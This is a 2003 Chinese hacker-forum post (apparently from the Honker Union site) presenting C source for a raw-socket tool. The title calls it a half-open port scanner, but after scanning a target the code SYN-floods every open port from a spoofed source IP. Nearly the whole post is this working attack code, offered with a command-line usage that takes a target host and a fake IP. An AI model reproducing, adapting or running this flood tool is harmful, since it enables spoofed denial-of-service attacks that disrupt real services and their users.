快速通道

文档分类
- 红盟公告
- 新手上路
- 漏洞分析
- 工具介绍
- 安全配置
- **编程技术 <=**
- 安全技术
- 业界动态

本类热门
- 初探数据包分析程序设计
- 杀毒软件的简单实现
- readasm的使用范例
- 半开扫描程序
- 注册表操作（RingZ_RgeEdit）
- proftpd 1.2.7/1.2.9rc2 remote root exploit

半开扫描程序

提交文章： 小男
提交日期： 2003-07-28
文章属性： 原创
文档类别： 编程技术
浏览次数： 今4次/总5767次

此程序希望大家多提宝贵意见，如有好的建议给我留言 谢了！
----小男

```
/*
File : linuxsyn.c linuxsyn.h linuxlib.c linuxlib.h
Test : Linux2.2.5
Compile:
*/

/**************************************************************************
* *
* 头文件 *
* *
**************************************************************************/
#include "linuxsyn.h"

int sendSyn ( int sendSocket, u_long sourceIp, u_short sourcePort, u_long
seqNum, struct sockaddr_in *dest )
{
unsigned char netPacket[IPTCPSIZE];
struct iphdr *ip;
struct tcphdr *tcp;
unsigned char *pPseudoHead; /* 指向伪头标的指针 */
unsigned char pseudoHead[12 + sizeof(struct tcphdr)]; /* 伪头标占12字节 */
u_short tcpHeadLen; /* 网络字节顺序 */

memset( netPacket, 0, IPTCPSIZE );

ip = (struct iphdr *)netPacket;
ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len = htons( IPTCPSIZE );
ip->id = htons( 2600 + ( rand() % 32768 ) ); /* 随机产生ip->id */
ip->frag_off = 0;
ip->ttl = 255;
ip->protocol = IPPROTO_TCP;
ip->check = 0;
ip->saddr = sourceIp;
ip->daddr = dest->sin_addr.s_addr;

/*
ip->check = in_cksum( (char *)&ip, sizeof( struct iphdr ) );
```

```
*/

tcpHeadLen = htons( sizeof(struct tcphdr) ); /* 网络字节顺序 */
tcp = (struct tcphdr *)( netPacket + sizeof( struct iphdr ) );
tcp->source = htons( sourcePort );
tcp->dest = htons( dest->sin_port );
tcp->seq = htonl( seqNum );
tcp->ack_seq = 0;
tcp->doff = 5;
tcp->syn = 1;
tcp->window = htons( 10052 );
tcp->check = 0;
tcp->urg_ptr = 0;

pPseudoHead = pseudoHead;
memset( pPseudoHead, 0, 12 + sizeof(struct tcphdr) );
memcpy( pPseudoHead, &(ip->saddr), 8 );
pPseudoHead += 9; /* 有一个字节用做对齐 */
memcpy( pPseudoHead, &(ip->protocol), 1 );
pPseudoHead++;
memcpy( pPseudoHead, &tcpHeadLen, 2 );
pPseudoHead += 2;
memcpy( pPseudoHead, tcp, sizeof( struct tcphdr ) );

tcp->check = in_cksum( (u_short *)pseudoHead, sizeof(struct tcphdr) + 12 );

return( sendto( sendSocket, netPacket, IPTCPSIZE, 0,
(struct sockaddr *)dest, sizeof(struct sockaddr_in) ) );
} /* end of sendSyn */

int synScan ( int sendSocket, int readSocket, u_long sourceIp, u_short sourcePort,
u_short lowPort, u_short highPort, struct sockaddr_in *dest )
{
unsigned char netPacket[IPTCPSIZE];
struct iphdr *ip;
struct tcphdr *tcp;
int portLoop, portTotal = 0;

ip = (struct iphdr *)netPacket;
tcp = (struct tcphdr *)( netPacket + sizeof( struct iphdr ) );
for ( portLoop = lowPort, portTotal = 0 ; portLoop <= highPort && portTotal <
HIGHPORT ; portLoop++ )
{
dest->sin_port = portLoop; /* 循环设定待扫描端口 */
if ( sendSyn( sendSocket, sourceIp, sourcePort, 31337, dest ) == -1 )
{
err_sys( "Error sending SYN packet" );
}

while ( 1 )
{
memset( &netPacket, 0, IPTCPSIZE );
read( readSocket, &netPacket, IPTCPSIZE );
/* 是来自目标IP？ */
if( ip->saddr != dest->sin_addr.s_addr )
{
continue;
}

/* 序列号正确？ */
if( (ntohl(tcp->ack_seq) != 31338) && (ntohl(tcp->ack_seq) != 31337) )
{
continue;
}

/* RST/ACK - No service listening on port. */
if( tcp->rst && tcp->ack )
{
break;
}

/* SYN/ACK - Service listening on port. 扫描到一个端口 */
```

```
if( tcp->ack && tcp->syn )
{
ports[portTotal] = ntohs( tcp->source ); /* 记录扫描到的目标端口 */
fprintf( stderr, "%d\n", ports[portTotal] );
fflush( stderr );
portTotal++;
break;
}

} /* end of while */
} /* end of for */
return( portTotal );
} /* end of synScan */

void synFlood ( int sendSocket, u_long fakeIp, u_short fakePort, u_short synNum,
struct sockaddr_in *dest )
{
int i;

fprintf( stderr, "%d", dest->sin_port );
fflush( stderr );

for ( i = 0; i < synNum; i++ )
{
usleep( 30 );
if( (sendSyn(sendSocket, fakeIp, fakePort, 31337, dest)) == -1 )
{
err_sys( "Error sending SYN packet" );
}
fakePort++;
fprintf( stderr, "." );
fflush( stderr );
} /* end of for */
fprintf( stderr, "\n" );
return;
} /* end of synFlood */

u_long resolve ( char *host )
{
struct hostent *he;
u_long ip;

if( (he = gethostbyname(host)) == NULL )
{
ip = inet_addr( host ); /* 网络字节顺序 */
}
else
{
bcopy( he->h_addr_list[0], &ip, sizeof(u_long) );
}
return( ip );
} /* end of resolve */

int main ( int argc, char* argv[] )
{
int c, sendSocket, readSocket, portTotal;
u_long fakeIp, sourceIp, destIp;
u_short i, lowPort, highPort, synNum, fakePort = 2600, sourcePort = 2600;
struct sockaddr_in dest;
unsigned char hostName[256];

portTotal = synNum = lowPort = highPort = fakeIp = sourceIp = destIp = 0;
opterr = 0; /* don't want getopt() writing to stderr */
while ( (c = getopt(argc, argv, "n:l:h:i:p:f:")) != EOF )
{
switch ( c )
{
case 'n':
synNum = (u_int16_t)strtoul( optarg, NULL, 10 );
break;
case 'l':
lowPort = (u_int16_t)strtoul( optarg, NULL, 10 );
```

```
break;
case 'h':
highPort = (u_int16_t)strtoul( optarg, NULL, 10 );
break;
case 'i': /* 目标主机 */
if( (destIp = resolve( optarg )) == -1 )
{
fprintf( stderr, "Bad hostname or ip address: %s\n", optarg );
goto ERROPTION;
}
break;
case 'p': /* 目标端口 */
lowPort = highPort = (u_int16_t)strtoul( optarg, NULL, 10 );
break;
case 'f': /* fakeIp */
if( (fakeIp = inet_addr( optarg )) == -1 )
{
fprintf( stderr, "Bad ip address: %s\n", optarg );
fprintf( stderr, "Defaulting to %s...\n", FAKEIP );
fakeIp = inet_addr( FAKEIP );
}
break;
case '?':

ERROPTION:

err_quit( " Usage: %s [-n synNum] [-l lowPort] [-h highPort]\n\t[-i targetHost] [-p
targetPort] [-f fakeIp]", argv[0] );
break;
} /* end of switch */
} /* end of while 处理命令行参数 */

/* Institute defaults if these options have not been specified. */
if ( !destIp )
{
goto ERROPTION;
}
if ( !synNum )
{
synNum = SYNNUM;
}
if ( !lowPort )
{
lowPort = LOWPORT;
}
if ( !highPort )
{
highPort = HIGHPORT;
}
if ( !fakeIp )
{
fakeIp = inet_addr( FAKEIP ); /* 返回u_long */
}

/* Fill in dest sockaddr_in structure. */
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = destIp;
dest.sin_port = 0;

if ( gethostname(hostName, sizeof(hostName) - 1) == -1 )
{
err_sys( "Unable to get our hostname" );
}
if( (sourceIp = resolve(hostName)) == -1 )
{
err_sys( "Unable to resolve our hostname" );
}

sendSocket = Socket( PF_INET, SOCK_RAW, IPPROTO_RAW );
readSocket = Socket( PF_INET, SOCK_RAW, IPPROTO_TCP );

fprintf( stderr, "Beginning on %s，from %d to %d. \n",
```

```
inet_ntoa(dest.sin_addr), lowPort, highPort );

fprintf( stderr, "Scanning ... ...\n" );
fflush( stderr );
portTotal = synScan( sendSocket, readSocket, sourceIp, sourcePort, lowPort,
highPort, &dest );
fprintf( stderr, "Scan completed. %d listening ports found.\n", portTotal );
usleep( 2000 ); /* Pause to let everything clear out. */

fprintf( stderr, "Flooding with %d SYNs each port...\n", synNum );
fflush( stderr );
if( portTotal )
{
for( i = 0; i < portTotal; i++ )
{
dest.sin_port = ports[i];
synFlood( sendSocket, fakeIp, fakePort, synNum, &dest );
}
}
fprintf( stderr, "Flood completed, exiting ... ...\n" );
return (0);
} /* end of main */
```

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net